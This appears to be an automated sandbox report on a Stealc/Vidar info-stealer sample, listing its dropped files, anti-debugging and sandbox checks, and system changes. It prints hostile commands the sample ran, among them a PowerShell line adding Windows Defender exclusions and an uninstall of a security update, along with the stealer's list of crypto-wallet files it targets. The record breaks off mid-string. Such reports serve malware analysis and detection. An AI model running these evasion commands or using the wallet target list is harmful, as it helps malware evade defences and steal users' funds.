Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6293			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3505			Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\X9d3758tok.exe

API coverage: 4.9 %

Source: C:\Windows\System32\svchost.exe TID: 7824	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep count: 6293 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep count: 3505 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00418060 GetSystemInfo,wsprintfA,

0_2_00418060

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: BAAEHDBFID.exe, 00000009.00000002.2162622128.0000024942051000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: X9d3758tok.exe, 00000000.00000002.2251891155.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: X9d3758tok.exe, 00000000.00000002.2251891155.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2136423738.000001F93102B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2137997418.000001F93665A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: X9d3758tok.exe, 00000000.00000002.2251891155.0000000000883000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpB

Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89135
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89092
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-90271
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89095
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89106
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89114
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-89113
Source: C:\Users\user\Desktop\X9d3758tok.exe	API call chain: ExitProcess graph end node	graph_0-88934

Source: C:\ProgramData\BAAEHDBFID.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\ProgramData\BAAEHDBFID.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\ProgramData\BAAEHDBFID.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugPort
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugObjectHandle
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]

0_2_00419AA0

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C7EAC62

Source: C:\Users\user\Desktop\X9d3758tok.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\BAAEHDBFID.exe	NtSetInformationThread: Indirect: 0x7FF7FC496D51	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQueryInformationProcess: Indirect: 0x7FF7BAB1AD82
Source: C:\ProgramData\BAAEHDBFID.exe	NtQueryInformationProcess: Indirect: 0x7FF7FC49ED85	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	NtQueryInformationProcess: Indirect: 0x7FF7FC49AD82	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	NtQuerySystemInformation: Indirect: 0x7FF7FC475A0B	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	NtSetInformationThread: Indirect: 0x7FF7BAB16D51
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQueryInformationProcess: Indirect: 0x7FF7BAB1ED85
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQuerySystemInformation: Indirect: 0x7FF7BAAF5A0B

Modifies the hosts file

Source: C:\ProgramData\BAAEHDBFID.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004198E0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419790

Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BAAEHDBFID.exe "C:\ProgramData\BAAEHDBFID.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 3096	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_6C834760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C834760

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_6C711C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C711C30

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_6C7EAE71 cpuid

0_2_6C7EAE71

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417D20

Source: C:\Users\user\Desktop\X9d3758tok.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_6C738390 NSS_GetVersion,

0_2_6C738390

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\ProgramData\BAAEHDBFID.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.X9d3758tok.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.23e0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.X9d3758tok.exe.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.23e0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.X9d3758tok.exe.2540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2251891155.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 